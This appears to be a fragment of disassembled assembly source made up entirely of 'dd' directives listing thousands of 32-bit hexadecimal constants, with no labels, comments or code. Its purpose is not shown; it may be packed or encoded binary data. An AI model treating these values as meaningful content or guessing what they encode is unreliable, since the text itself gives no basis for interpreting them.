		dd 3C9014A8h, 8050CCC6h, 0E7F2A7h, 1D58314Bh, 66E927h
		dd 0E1A45508h, 1301B35Eh, 0C8979C07h, 28301047h, 75120051h
		dd 0E8EEE5A4h, 8B007D03h, 0C31C7133h, 19DD64CEh, 305543EBh
		dd 25B04083h, 0BA02D094h, 3226ACB6h, 2E8080A3h,	0B417BFh
		dd 3E16F911h, 904C8D56h, 7754DC04h, 80AED281h, 8A306C0Ch
		dd 0EA7BA80Eh, 0F28320D6h, 41C798h, 327F92BBh, 3C33DB25h
		dd 0EC3E6198h, 355C83B0h, 0C82DF1D6h, 2459BA89h, 8388DAC2h
		dd 0D1FADC6Fh, 0BFE07EF0h, 5D9A9700h, 3D10A788h, 45C9054h
		dd 52749DFAh, 0F3CD80BCh, 160E9724h, 8067A0FEh,	0D8338002h
		dd 39F1E6D3h, 8B809989h, 0DD7DAA75h, 24004E74h,	41F380D1h
		dd 1F5869BFh, 8B184A76h, 7800112Ch, 518A2B48h, 6F5F6700h
		dd 0B27CA689h, 0D8BC002Fh, 65395292h, 0D0FBB6Dh, 0C0FA24A8h
		dd 0E4E19E78h, 685F009Ch, 90D8B41Dh, 0AE00CB43h, 5607D691h
		dd 1EBF15A1h, 5E0EB919h, 1DE9C287h, 405D2550h, 9DF0BBh
		dd 4E1A0A55h, 0B637796h, 0B78D2100h, 30E15394h,	88980667h
		dd 547C4F87h, 1C3F7D02h, 60B82516h, 0E634407Eh,	28104894h
		dd 0F86EEF00h, 0CB5FBC13h, 4DD8B601h, 0A98162ECh, 739848D6h
		dd 0E1F659h, 11F76102h,	0E93D2586h, 70A4D449h, 2EE8CF00h
		dd 2FE0A07Dh, 0DE5B315Eh, 3344B150h, 518F30F8h,	24ED4ACFh
		dd 0BE90E995h, 0AC3A0F00h
		dd 6FF08867h, 6EA94606h, 486A5E11h, 3C71C4C1h, 3E03A20Dh
		dd 0CBBF9B64h, 0AC5F0C00h, 7ADD25F7h, 63704F8h,	8014709Dh
		dd 68BE325Ch, 802EA83Dh, 0D7D9AB58h, 0CF285Ah, 1A4941DDh
		dd 79B4BBC8h, 102AD80Ah, 8B00B011h, 1DBCB201h, 0A3A603EAh
		dd 0BDAA62FDh, 68C38EA8h, 4DD66500h, 738658E7h,	7F710Dh
		dd 4FC1E21Eh, 95FBCEC8h, 44A31F00h, 0D3B53C52h,	46A60085h
		dd 0B266AB10h, 0D0043B24h, 0C8171480h, 9683A880h, 39551F4Dh
		dd 0E45E11h, 0E64503EFh, 31000D7Dh, 69DBB93Ch, 0EDDFEAh
		dd 4798B85Eh, 0C1F2936Ah, 0F6E15F05h, 94415DE6h, 17E4685h
		dd 3F0E16F8h, 3C59E2E5h, 0F0BB28h, 0C06F8E1Eh, 412D408Fh
		dd 822C8A38h, 53ED0CFh,	0DBB448A5h, 0DD930295h,	16C01373h
		dd 0B36A38C0h, 0BB6CD20Ah, 0C63B864h, 4BACD095h, 4E780001h
		dd 91115A8Ah, 5C0E30D3h, 62C6C27Eh, 4315AA4Fh, 0C948EB38h
		dd 68341CFFh, 0FAEE02h,	5E4F2922h, 2A87C192h, 2E473D02h
		dd 68EF40E3h, 291A74h, 9F70C710h, 0EEADD6DAh, 7C2D4Ch
		dd 0FC0ADE5Ch, 3C955527h, 518F9F77h, 78A0C2FFh,	9481604Bh
		dd 0EC3F6402h, 40F984E1h, 9A240FECh, 8BE43A14h,	6C3E2C80h
		dd 4FEA4106h, 0D20020B0h, 0D00C4466h, 231D38h, 0ACFC59C2h
		dd 61773778h, 0BDA38900h, 71EA3C2Eh, 624B001Fh,	0A0E06D7Bh
		dd 7F003457h, 82BEE926h, 0C24DB89Bh, 3316CCC2h,	0B3BD868h
		dd 0F77AAE0Eh, 802631Bh, 0B00AF8EBh, 0A30C3FB8h, 0C067591Ch
		dd 80244F04h, 320083FDh, 0AFAD0B8Eh, 253141h, 0F4C00F69h
		dd 0BC7EE357h, 3D126F00h, 0B54AB73h, 0ADBB1D22h, 320DC5CDh
		dd 97789471h, 78004B6Ch, 65BA581Eh, 23EF7800h, 726E2074h
		dd 0FA680050h, 6BFCB8AEh, 0C3009F1Ch, 95240B2Ch, 6DAB5Ch
		dd 0F04740AFh, 1A34D0CDh, 20009E6h, 69B4F18Ah, 2EA6A1E1h
		dd 2C2D2Fh, 7B1461C7h, 6F2E665Bh, 0EB05E0E6h, 8C82D824h
		dd 0CBE440F4h, 67EAD0h,	0B46A8B69h, 851FCA15h, 0C46070E9h
		dd 93A6301h, 0DBF2CEEBh, 7B5467E0h, 10770A3h, 378119F3h
		dd 70CF0B8Dh, 0B01CB569h, 0D55EE051h, 918CE8C0h, 39BC66FDh
		dd 0BB0032C0h, 5BB373EFh, 35C3652h, 3DA80719h, 2DF0A44Eh
		dd 0E1F712h, 0E568CA0Bh, 159A827Eh, 0D1291817h,	0C5B8BA04h
		dd 0E9CB3C80h, 673B076Fh, 0C0B270AAh, 0BB696E10h, 0B4099490h
		dd 0FB17D3h, 8BC8AFC4h,	0E7600031h, 748808EFh, 0B8B0704Fh
		dd 2A29B760h, 7C14AAB9h, 0CAD10089h, 7A8201EAh,	5009CBA6h
		dd 215816B7h, 9A674C78h, 72B8B034h, 0CAD4307Bh,	6DDEE808h
		dd 0B630CC7Ch, 0B28E106Bh, 0A09F83C3h, 0D454952Fh, 833DF500h
		dd 1F18FD3Ah, 45D008Dh,	9FA18793h, 35FDF2BFh, 60C540E0h
		dd 0C0E8ADEBh, 0E8C9220Ah, 31803064h, 0D393639Dh, 0DAA300E3h
		dd 0EB4139F4h, 0A20074A9h, 8534CC94h, 20D8B8h, 35445880h
		dd 9E2A2160h, 0AD144515h, 0FE3000A4h, 3AA5D5C3h, 6B78B8h
		dd 28CC5D8Ch, 0BB15B142h, 18B9DB00h, 0A0DEC9FEh, 886D0720h
		dd 40A32D44h, 0C35AAC56h, 0C18E6301h, 2C18E843h, 0A0190D0h
		dd 0AFC217C4h, 0EAF700FAh, 18BE1B73h, 5C6B9500h, 0FE9741B3h
		dd 0BBCD0051h, 8F60EA96h, 65007CF8h, 6C59E5BAh,	0FA4E15h
		dd 3CCC7D13h, 0D2281A92h, 80C9B43Dh, 0EE094175h, 5BFEA6h
		dd 7DDCBC0Eh, 4D072053h, 4CD1AC00h, 0E68D5A52h,	57930091h
		dd 3E9CC437h, 250F9FC9h, 20FA7250h, 0FC4253BDh,	4127008Dh
		dd 0A24FA4B6h, 91EC46EAh, 0A0A65201h, 997BC3CDh, 4C50CEh
		dd 0AB70EE7Ch, 9A8C0FE8h, 89F4034h, 9641D041h, 82DA7024h
		dd 0C3A63EF8h, 0FCB68864h, 0D71C0078h, 0B048F559h, 0E2002CEBh
		dd 8856658Eh, 0EEB97123h, 99730A0h, 122CFF48h, 21623E31h
		dd 4105B335h, 0C3CA4140h, 0EF4C487Ch, 0E929C2B0h, 77114C57h
		dd 7025AB03h, 1EE8013Ah, 0DD245360h, 4A8C04C4h,	0B10835h
		dd 0E819F9C9h, 76C2D325h, 689D95Ch, 0B0BD73B4h,	7EDF0180h
		dd 3C0CED68h, 0CED083AAh, 97C1E3Eh, 0A74270E8h,	2C5E9821h
		dd 800014A3h, 59D49334h, 922E3AD2h, 2FAAA906h, 8FE4405Ch
		dd 1FB480h, 9120DD7Fh, 36748DDBh, 241A2F00h, 654D5D03h
		dd 72EB00D7h, 46525E78h, 0A400F85Ah, 4F33BB7Ch,	3AD8F402h
		dd 0BD8E838Bh, 0C5405E8Dh, 9B987BCFh, 732FEE00h, 0ED07B83Ch
		dd 89260BF3h, 380A438h,	20449EA9h, 752DFC00h, 16B3225Eh
		dd 36DC017Eh, 0EC56F053h, 0C338AEh, 0FC9EE893h,	0ED8BF6h
		dd 83C06612h, 9DC7F086h, 0EA6DA505h, 9180E925h,	901F487Ah
		dd 22B4009Ch, 0A1F6D2BFh, 0D4F2C39Bh, 26DEEE00h, 91CB0A4Ch
		dd 0BF7920h, 0A3165B89h, 0DE7CD9E1h, 76CE7300h,	13BCC0C3h
		dd 18B30161h, 1C59CA86h, 0BF75E010h, 0FD4BD400h, 43BD7794h
		dd 7108C6E4h, 97002065h, 6C9ED4B5h, 4523827h, 0B9BADF07h
		dd 4A6F4767h, 0F0F563D3h, 5CEFCFh, 0FF1AEC35h, 7FD6AF21h
		dd 174B90C0h, 30313726h, 5538A784h, 5E0CDA1Ch, 11157B90h
		dd 2A9A0070h, 65923AB1h, 0FA6693A1h, 214608h, 0F72B4753h
		dd 0D75DD1A3h, 8B0FEF0Ch, 8C9248A7h, 0B32B3407h, 6498623Ah
		dd 48F94029h, 7D6AAD2Bh, 0D6F703E1h, 74C5EC54h,	14C256B0h
		dd 0AF41B018h, 0B6D7CA9h, 7020B17Dh, 5798D881h,	807ED101h
		dd 7D84E721h, 17639C2h,	95B54838h, 106E4BCDh, 4D1678h
		dd 7A646C02h, 0D5879F6Ah, 715DDF30h, 0F4113499h, 4F230194h
		dd 4AC71B55h, 0D89C4085h, 0E4009014h, 0E14E75C6h, 3260473h
		dd 42F676D9h, 3C801722h, 0A307112Dh, 0F179D6F2h, 0C453C340h
		dd 6A3E012Eh, 0E12B7A4Bh, 0B2CCE003h, 0AD47C700h, 20F51EDAh
		dd 0A9690141h, 1F162B8Fh, 657670D0h, 0E046F300h, 508675ADh
		dd 0DE69009Eh, 8F843B02h, 1A177C2Ch, 2603A00Ch,	9820B989h
		dd 0B091143Ch, 6E131E19h, 9F180016h, 0E55C40D1h, 36ECFB00h
		dd 737DA9ABh, 2FDB0051h, 6B86AC47h, 70009C85h, 64E94B5Fh
		dd 1DE1AEFh, 0FEFB56B1h, 6084D5AEh, 0BA00C54Ch,	99A3033Dh
		dd 9D9659h, 1CF5CB1Bh, 56851D07h, 0B9C8ED03h, 0DB2CD092h
		dd 404EF887h, 73800096h, 0C1BD5BEh, 7A008A71h, 8B7959DDh
		dd 12E7C2EBh, 3020EE1h,	0A7A554F2h, 0AB66200Eh,	0FE0DC0B2h
		dd 983187h, 0C263235Bh,	3D5CB7FCh, 0C8E2628h, 0BB601800h
		dd 46152070h, 0B92B8851h, 6B4C5500h, 746C237Dh,	7BB172A0h
		dd 0DBD90024h, 0CE796728h, 8DB06BA4h, 0EDA730Fh, 0B0560396h
		dd 0C2F839DBh, 63FB0F80h, 25452DD5h, 3F9D7A00h,	0E9AC6898h
		dd 95230048h, 0AEFB38C2h, 45009719h, 7DE8B63Bh,	9FDBAFh
		dd 0C9DDE342h, 0BC834CC1h, 0E9920F18h, 7CFF1B18h, 49AE6FCBh
		dd 89C3186h, 0A07EF6F0h, 0F2C0AA00h, 616F27C1h,	2118179Ah
		dd 333F07F8h, 0FF565048h, 79030FA9h, 0F460AB81h, 1787C2Fh
		dd 0C46ED407h, 80906B61h, 72DD5961h, 1EEA2519h,	819B6DAEh
		dd 0CE213E15h, 0C76E201Ah, 0A6074C01h, 44647E3h, 0F572A1C0h
		dd 0FDC4D8h, 68C7D356h,	5669733h, 2586E07h, 0DEA1D24Bh
		dd 6989A56Bh, 8700ABC5h, 57A2BE50h, 0C83BECEEh,	8A6D81D8h
		dd 30C3C7D9h, 0AC9DE981h, 80BA3E0Ch, 0A67CDB11h, 1CB5D35Dh
		dd 4E40DF83h, 2CE0BF18h, 0C858847Fh, 9857472Ah,	36065600h
		dd 664668F9h, 604560B7h, 0EE7BB2F6h, 2A636A01h,	33C8401Ch
		dd 1DAE74F4h, 808E1FC1h, 677DE2CBh, 5C0065DFh, 0DE88C936h
		dd 1C6AF172h, 58E51A13h
		dd 56760812h, 4DA820C0h, 0BC9A72h, 5567D3E9h, 0F6BFDA1Dh
		dd 8F349F00h, 3DACF968h, 380A0398h, 29B7E9E2h, 0B4971803h
		dd 0E1E086FDh, 50808EA5h, 0CE116507h, 80C7682Ch, 0D8007D29h
		dd 0EF9A9BFh, 0F621AA46h, 0EA21168Ch, 2400B270h, 54E1A0C5h
		dd 207CDF19h, 5026C937h, 32187AE7h, 0D21611h, 0FCA84A28h
		dd 0A4B25281h, 1F607E74h, 2879F121h, 3F92024Bh,	0CB4F136Dh
		dd 0CC8A7460h, 679BC218h, 1932EEB8h, 696B4DD4h,	706AD1FCh
		dd 457D4127h, 44F9401Dh, 17218118h, 826F3BF7h, 80CD289Fh
		dd 45496DD8h, 0E00884Ah, 0CB14E036h, 1D40CA3h, 0AC7CDA47h
		dd 0F2E5FF39h, 3A10C8A0h, 10C00687h, 35CA9707h,	94C61CEBh
		dd 883883E5h, 0A188F05Fh, 3E0B0443h, 415D0Fh, 0EF347890h
		dd 3BF60071h, 8E4FFC2Dh, 0A079C50h, 76B0DB9Ah, 0DFB456A0h
		dd 0C39E0041h, 870E149Dh, 0E8315023h, 0BD8908EFh, 53812085h
		dd 472AC09Dh, 3301D1D3h, 0EB70CD1Fh, 70131Ah, 0EA820EB6h
		dd 9F802873h, 0AE53A2AAh, 4700E57Ch, 49BD52CFh,	74432741h
		dd 17E78DBh, 0C8ABA87Fh, 70F6A4EBh, 0FF748C86h,	2034BC31h
		dd 9BD8771Ch, 52AC0464h, 0C0B73C69h, 9DF966DBh,	1C030798h
		dd 9F814D5Ah, 0FDA90961h, 0F900E338h, 0B3D905EDh, 0D2209460h
		dd 3C2EF2h, 4617B6F7h, 0F380C2D1h, 8134593Dh, 18B0B47Dh
		dd 0C3CFECh, 0E4EB0E30h, 0E08E9297h, 55F93Ah, 0A5A3FD77h
		dd 0D77B3Eh, 0B6A993DAh, 5E3932C5h, 0C98E7400h,	0A87A3078h
		dd 45180C6Fh, 8D1EB560h, 0ECFE9A00h, 0F7F60150h, 0F26A9033h
		dd 0F16D2875h, 8DA700A6h, 2279B390h, 100113F0h,	5B408A04h
		dd 0C7EC711Dh, 9E7195h,	0F537AAEBh, 0C23987Ah, 9F081200h
		dd 69D18A15h, 0FEE73A51h, 0C23F0B80h, 0A7218CE9h, 0F031EB00h
		dd 0A5457A9Ch, 0B08400F5h, 6009EC50h, 337FBE1Dh, 5FEAA703h
		dd 0A8AB86DBh, 0C05CFA9Fh, 40879A38h, 1B01B5F1h, 0DC75D89Dh
		dd 0C946D290h, 0F8F621h, 0AB8C15EEh, 0EA220FE1h, 0BCC7B000h
		dd 0FFC60CA4h, 0A9B400D5h, 2FD5F5Dh, 24032DA7h,	2E4B8FC1h
		dd 718BC09Ah, 0D2F700C7h, 8663CE0Dh, 0FCE89236h, 8A3140h
		dd 0D224C739h, 0CA19C91Eh, 0EC8DC08h, 0ECEB8EE9h, 0C0D73A66h
		dd 7CF9F201h, 62E9C365h, 5C59C0C7h, 0C0C178B9h,	0D88B3228h
		dd 93010B86h, 59F09A10h, 5082C92Ch, 1E85EE66h, 5633C940h
		dd 268D6400h, 0D22B424Ah, 3CA60061h, 44537EDAh,	0DC3B99DDh
		dd 0DB08065h, 0B395BF7Bh, 93FE6Ah, 38B97A1Bh, 63805715h
		dd 0B8627F00h, 1F223EDFh, 0E7D20066h, 3FF40D7Dh, 0F84C2CFBh
		dd 0DF106343h, 6BC6E843h, 0B23D5C7Eh, 121BE20Fh, 2A42E040h
		dd 3200246Ch, 1C761DB7h, 7D64DD89h, 7D873FBDh, 7F471487h
		dd 7785C0B1h, 5203E4C5h, 0D81F1924h, 0F5AE9008h, 727E0E2Dh
		dd 0EC0014DBh, 93999D52h, 901FD700h, 0CE253DAh,	4BB700F4h
		dd 88B4A8DBh, 30318DACh, 96FED97Dh, 0C37EB8D3h,	0B90B06FFh
		dd 21F63EDBh, 5153D600h, 3AC7A6ABh, 423800B1h, 0FC374B0Dh
		dd 0F1007B02h, 0E1254D0Fh, 3841D1BBh, 2F00CEDBh, 5362D78Eh
		dd 63034637h, 0EA989491h, 40A690F9h, 1FCB0068h,	0A491D21h
		dd 29005F1Ah, 87E782F1h, 76EF2D6h, 80678845h, 0B563E060h
		dd 0E07C1816h, 0A10B3307h, 42604C29h, 0D5A653h,	77E3D8E7h
		dd 628DFDCEh, 0D1B4F300h, 7A10767Bh, 0BCCB4804h, 0F15FA00Fh
		dd 9A0BEB80h, 0EE00954Ah, 20A2AFB9h, 0F66D7Ch, 0F25BB82Bh
		dd 0DB5329DAh, 0D0AA0500h, 0CF501C3Dh, 60F2F389h, 5C47D517h
		dd 1A015DD1h, 1D9FDCB1h, 232630B2h, 0D96E4903h,	18EC47C2h
		dd 0E9A73348h, 0C71EA274h, 958050E8h, 0E6CB0D6h, 179F70D7h
		dd 184CD2h, 116F82E1h, 44006BEAh, 6C929B54h, 0C292133h
		dd 409DA358h, 500CB0Ah,	3F510EBAh, 0F540BA8h, 0A1B18CCDh
		dd 0B7C5DC18h, 8C693FAh, 9820282Bh, 819E0754h, 0AFA3D71Ah
		dd 90576A80h, 0F17E1DB6h, 60F2970Eh, 80BC0E16h,	0DA6BACCDh
		dd 0D5F4E9h, 8EAA5890h,	0C5A957A5h, 83B821C0h, 14E17BD0h
		dd 0DCA42AFBh, 6100B06h, 2D0F50C4h, 65089D66h, 0AA816157h
		dd 74C83854h, 3B7A006Bh, 0F29662Bh, 50D8576Dh, 9B16C8h
		dd 147D6719h, 1E93DC6Eh, 0C2EBCA00h, 293BC58Eh,	4D30C0B2h
		dd 0F70E3F0h, 0D36A2E00h, 0D69E3505h, 6E0B00F9h, 21B1CC86h
		dd 10C09C76h, 0C1D00D59h, 7AA41E93h, 71007AE7h,	3326187Fh
		dd 3100E4E5h, 0E04249ADh, 0DFC799h, 98B9A33Ch, 3995E80Ch
		dd 64FF302Ch, 0B9003812h, 414A7CB4h, 0D2CA00FAh, 97423907h
		dd 0FE3B1E2Ah, 0A201F882h, 0DC8B8781h, 78E43BA1h, 3018C084h
		dd 60BB0440h, 4A3FF701h, 4F52B0DEh, 4DF0D7F3h, 44E03Dh
		dd 9F1EFDCDh, 458B79Eh,	0B9B46100h, 0FAD953AAh,	7797972h
		dd 3DB5322Ch, 4134B63Ah, 65A06C00h, 0AFA9EF60h,	36D80057h
		dd 3AAC711Ah, 9000D24Bh, 274D7C61h, 0BB5D25h, 0ECDC7040h
		dd 0FB05D816h, 865F4B00h, 547ACCD0h, 469700B9h,	27D149A5h
		dd 0FD306BF2h, 0FCEF6844h, 3CCCE2E8h, 628089D0h, 4599C070h
		dd 11209EAh, 0E707B93Eh, 25707B1Ah, 650E12h, 0E840C3D3h
		dd 0A86408C1h, 0A55A100Ch, 79181Bh, 0CDF559B0h,	5132B6F4h
		dd 134B6D00h, 495E678Ch, 0DAEA00F7h, 0B9FC04BAh, 51CE3AD7h
		dd 405BEC7Eh, 0D1B707ABh, 0F0CA69CEh, 0D349768Bh, 2233B603h
		dd 816062h, 0D2F11229h,	157D6351h, 1F542D00h, 0E0263014h
		dd 0DB9400CDh, 55DD567Eh, 0B700BAB6h, 98EE65CCh, 185C9505h
		dd 0A2FAC2C9h, 0E20E04B8h, 6CF7D901h, 29B847h, 6F063752h
		dd 0DA60C72Fh, 97E11F00h, 0ADD1CC99h, 0E8957516h, 34AA0091h
		dd 6779F92Bh, 0C6243FB0h, 0F009FC3h, 0F030702Fh, 0F1A400E1h
		dd 92538488h, 0E000D1C8h, 5A1B4C04h, 9054262Ah,	9076500Eh
		dd 8CA944E1h, 61213600h, 0B7E6ADE0h, 0BECE0063h, 0D343C8AFh
		dd 84540B0Ch, 520A4784h, 0A4665FA2h, 9AB26C00h,	128C0Dh
		dd 19220735h, 0CD8485F7h, 601D9700h, 72895136h,	6C680067h
		dd 0A9F34D2h, 0E000E4FAh, 788E6F71h, 0E3C90D6h,	0C8A159B6h
		dd 0E9AB2160h, 0B4FE8BA2h, 4E76523Ah, 6700E6BCh, 3188D23Eh
		dd 620014EBh, 43D5B39Ah, 4FC4E8h, 0BC588E7Eh, 7BEFB1E5h
		dd 56CD8806h, 408402h, 0C6C5F924h, 0A6508B20h, 9010361Eh
		dd 0B28CCF00h, 0A4AEDCh, 35099D9Eh, 317BE445h, 0B7631300h
		dd 0C522FE6Bh, 186673EFh, 20B33D9Ah, 0EA305A9Eh, 0C3D760F1h
		dd 0CC3F033Eh, 44A238C1h, 0EBC7A7h, 0DB4678F2h,	2C990968h
		dd 309CEE50h, 37A885DEh, 0F0C17440h, 7DC090E2h,	8F971980h
		dd 7567B2ABh, 139ADD00h, 0F615DFE0h, 0B95F0084h, 0B3E7141Bh
		dd 98A8790Dh, 0C063D1F3h, 1E55A42h, 6932BB78h, 0D02DFE3Eh
		dd 3301DF6Ah, 17EA83F2h, 2C20674Fh, 0B4540098h,	0F94395E9h
		dd 8E022B06h, 2158C0DDh, 0C524845Bh, 57BD7E40h,	0C90041E2h
		dd 0D5EF0223h, 679F8E88h, 40170822h, 5282D885h,	0FC5C2D00h
		dd 41BA334Dh, 88D0EC4h,	0A10062CFh, 3AA9F6B9h, 821C450Eh
		dd 5AB74083h, 7D15E9h, 801F62E4h, 5717789Fh, 0CBEB2512h
		dd 5EC01000h, 0A0AB474Ch, 15C1F3ACh, 80F77DCAh,	3D98402h
		dd 14404D3Dh, 7200E0CEh, 4BFAA921h, 0CB407ADDh,	0D83C819h
		dd 39341EBh, 85755B98h,	0CC3E78F8h, 8C703E12h, 587E4A33h
		dd 291C1E7Dh, 89BB0037h, 1F5F36C1h, 5E447101h, 0E1BA90A6h
		dd 288DBCC4h, 1F0C1EF8h
		dd 66D77C4Ch, 0CD820512h, 44F823C1h, 0A23FFBE9h, 0D200FC66h
		dd 0E7681CC4h, 3168CAEh, 0C0B2DEB3h, 200077D7h,	354CFE22h
		dd 9E2C0Ch, 2DA4B313h, 0F11530AAh, 812148h, 59AB3425h
		dd 0F1E9FF16h, 18E6E370h, 2022CA2Ah, 6C000949h,	0EE7D8DFEh
		dd 9008C6C7h, 97B600DBh, 672CF374h, 253CC8FAh, 200900EFh
		dd 49824B9Ah, 0B67988h,	0A1238C72h, 0EC451889h,	0C15DC400h
		dd 4E036465h, 1DA709Eh,	94B938CFh, 0CDDED6F0h, 0BA3930F5h
		dd 83DD3503h, 0B0F9ED6Fh, 971E7Eh, 652FBD37h, 4DC36B7Dh
		dd 0D3BE2524h, 0D03CC707h, 5D1079A7h, 391DA9FAh, 0A38096F7h
		dd 0DA238E7Ah, 0A0002B25h, 0CB3431B9h, 566832h,	0A66D822Eh
		dd 0A36AF262h, 257A4979h, 0EF4AB91Fh, 8D112D00h, 9D0812h
		dd 4CC3C23h, 0F51F0EDBh, 8F311E38h, 40E27329h, 0EF95DECAh
		dd 155D003Bh, 877F4667h, 0C4010734h, 4A22D05h, 19C43236h
		dd 0C2106FCh, 0E8B71DFDh, 0DA811F00h, 5FA9C5ABh, 23570597h
		dd 80E5E6A5h, 4412FCCBh, 1A00F478h, 14A8A7CDh, 7F523D6Dh
		dd 0A90E3995h, 927A3B80h, 17ABE750h, 151D5E00h,	29565735h
		dd 3B3E00C2h, 0EDD73AF8h, 0F400D8CFh, 0E3F2A854h, 415358h
		dd 831125E6h, 49B6C94Eh, 19E91207h, 800E7A86h, 13AAE63Bh
		dd 3CBD1E92h, 4C5DC05Ch, 0B40DFB4Ah, 0C4B340Eh,	3B9DE0C6h
		dd 29F703h, 0CA12D14Fh,	718A7DD3h, 88F09B00h, 0E6B7C036h
		dd 0F2E200C5h, 45F3397Ch, 68902ACBh, 643240A0h,	8A841300h
		dd 26CC09F9h, 68583B4Bh, 0B91ADD07h, 553990F0h,	8B00502Dh
		dd 2362560Eh, 0E8B5F4h,	7D0C0140h, 7354C322h, 492A8100h
		dd 10C616DCh, 1FA4006Fh, 2F9AA00Dh, 8602A8B4h, 7DFCDA92h
		dd 0ABA0C0CCh, 10AD3176h, 3661C88h, 7B4DA806h, 0B5300EE4h
		dd 80463DCFh, 9F0068CBh, 0C85439E7h, 1F6BB0D3h,	48B151h
		dd 9B285562h, 8F00A833h, 46CEC265h, 93679DAh, 0D6EDE7FAh
		dd 97122C00h, 0C22876FCh, 3824887Dh, 2689C0FBh,	49150318h
		dd 0D945C01Ah, 888E01D6h, 6AB468EBh, 6278E097h,	151C93E2h
		dd 82C04036h, 5049ABAh,	74630052h, 0D33D5B06h, 0E33B7D20h
		dd 7A50803Ah, 4F82DBABh, 2E71C4h, 0E1D0B40h, 0E97E7524h
		dd 0CFC90700h, 46868EE1h, 0C017003Eh, 7BC48A87h, 0DD00DFB2h
		dd 60BEC29Dh, 1FC0742h,	52A6C0A1h, 606473BBh, 960054F2h
		dd 0E5C43762h, 3BDA36Fh, 7F0EBCD8h, 0C6801205h,	10006D09h
		dd 0B9D4FF69h, 23ACC8Ah, 0C4D162C5h, 8080081Bh,	695D6677h
		dd 57055972h, 0EA4E4835h, 0FC30FEC7h, 3A829C32h, 0A580840Ah
		dd 0D65E19C4h, 0ED7A1E81h, 59070EFCh, 0EE2B2C67h, 5CD1C100h
		dd 6CA20011h, 0C997BDB4h, 662C40FEh, 6000B355h,	32A46A08h
		dd 5D310053h, 3D5EE862h, 580F4F74h, 8078EA7Fh, 0FA074D79h
		dd 492700C5h, 5250C42Fh, 0A900BDBAh, 0F7C924C3h, 0EC7E8Ch
		dd 0F97A7F31h, 2B612643h, 9D356714h, 402C51D4h,	0F5FA6A37h
		dd 0B8875700h, 547B89B6h, 219E005Ch, 2297D828h,	0F407C314h
		dd 8336CABAh, 0F0C4F170h, 23D500B1h, 0A7272480h, 10073E20h
		dd 73FB50ECh, 11A983D1h, 5EE3E0h, 548EF1E5h, 2ECF12AAh
		dd 0A7D32200h, 570698Ah, 336800AFh, 8392498Fh, 37000EC9h
		dd 90775604h, 785C80h, 0ACD2535h, 9BE28D69h, 0CA44D8F1h
		dd 2A637616h, 67001453h, 8B98A653h, 0AACC00BBh,	4968C4Dh
		dd 700842Ah, 40193008h,	3D03FC63h, 5C0024E9h, 81DA607Fh
		dd 0C90342B8h, 84803B4Bh, 0C60FE0D8h, 0AAB600E3h, 3D99335Ch
		dd 7100B702h, 0E0C34465h, 7BFB1FD2h, 5A471EBAh,	0D80654B1h
		dd 0ACAE3D00h, 4C96939Ch, 7007C570h, 0E2BADEADh, 0A69F47D0h
		dd 0C31700EFh, 0FB91FEA4h, 240097C5h, 53415ABEh, 1E3D111h
		dd 0CCB01A29h, 0D40FFF4Dh, 9D1F7084h, 0E8833AEBh, 0D075E4DEh
		dd 54B12Ch, 0A13B9B6Fh,	57C0AA8Eh, 36DCCC00h, 0F45348CFh
		dd 0B08B00ACh, 8C055D43h, 0BC00D144h, 102723F8h, 8617Ch
		dd 85C1C756h, 649C1EA4h, 6300D3F8h, 0D4E9597Fh,	3EDA02h
		dd 6AE4FAF1h, 58355CA6h, 0A5EDF400h, 1954C9E7h,	0D8E80428h
		dd 800ABC3Ah, 62ACD4D8h, 4F18CA01h, 24516F12h, 1318A30h
		dd 6935AA26h, 0F42AA54Eh, 28032EDBh, 82B94C1Fh,	6B8B803Ah
		dd 0ECF40B20h, 74207B67h, 0CFA22107h, 0E703B677h, 9AD5C60Dh
		dd 0B0B199AEh, 8060C8h,	20A5A0A4h, 0DD58527Fh, 19D9540Bh
		dd 1F028F10h, 68B14DC0h, 0E3316F3h, 8F98BEC1h, 1138F01Dh
		dd 9200ED5Ah, 0FF144587h, 194448Eh, 0AC5ED77Dh,	0F0495184h
		dd 0E27EEC75h, 0F301D513h, 0E93E0C00h, 98B47h, 6EB9E5Ah
		dd 1666946Ch, 0D244500h, 526DC8B5h, 0FCAA00F6h,	0D5852771h
		dd 573B9DDCh, 662281F7h, 0D04117C8h, 731114C8h,	99F300B2h
		dd 2260A139h, 0F05D931Dh, 56B0084h, 87BDF717h, 98F95D39h
		dd 6CC66E00h, 167DFEB1h, 605C1AFAh, 0B2E80100h,	11DA25CCh
		dd 18404BEDh, 60707430h, 987BC0E2h, 0ED7BD439h,	0B8033778h
		dd 0E1A52205h, 7893C881h, 0FEBA009Bh, 49EB57E0h, 9D73DFA4h
		dd 0D9E9E100h, 0D0666C1Eh, 0E358C046h, 0D3819738h, 0F6B88000h
		dd 8818CF4Fh, 0F5150B90h, 8C006001h, 20358226h,	0C2861700h
		dd 0F2B54C2Ch, 1A6C00CDh, 32B6D83h, 700722Ah, 0DFF03736h
		dd 741C9Fh, 2EFEB3CFh, 0AF625C20h, 80D4603Eh, 0EBD1F6A7h
		dd 1CEA95h, 8F8B6DECh, 0D0E35C27h, 0EF1EB200h, 1FF9F665h
		dd 903A7E5Fh, 684C001Ah, 0DFB90169h, 0B7006A1Eh, 5F23F348h
		dd 1095495h, 3AA67F4Ah,	0F0641B69h, 0B83C1A19h,	0C3AF0143h
		dd 0E0D1EFBAh, 0F0AEC8CBh, 929B1F87h, 0EBCB8082h, 3E5E7AC4h
		dd 8139663Dh, 238F3773h, 9C40D074h, 0E2FD80E6h,	0F020921Ch
		dd 6104ADE5h, 40BB882Ah, 0C1F761BCh, 0B46D4B09h, 0ACD6070Eh
		dd 40590F62h, 3CEA80h, 2D13C5AFh, 0D5701551h, 0A7836200h
		dd 0CDFA7ABCh, 52A90099h, 0B99EA62Bh, 1B000C29h, 0CB6465E7h
		dd 340A8Ah, 322818Fh, 5C8BAF6Bh, 0BA055776h, 3846DD3Ch
		dd 0AE50B0C7h, 24AD36h,	592D3994h, 0F50CF307h, 0E05A642Ch
		dd 5A1ED717h, 0B1249082h, 0EF23C0F2h, 84303A58h, 0E829B78Bh
		dd 13B63000h, 62EC3748h, 0A5E8DF60h, 40C4D7h, 95F71EA8h
		dd 0DC46BE20h, 97486C79h, 642590h, 67D3518Ch, 781A7B6Dh
		dd 49D400CDh, 2FD0B363h, 0B024A1E8h, 3CC2BFh, 16CAC035h
		dd 74EA596Ch, 9D540C84h, 49381A98h, 0F0926F05h,	84C0CACEh
		dd 809C86E7h, 5B03113Eh, 0F338B78h, 90B02EB9h, 0CC60729h
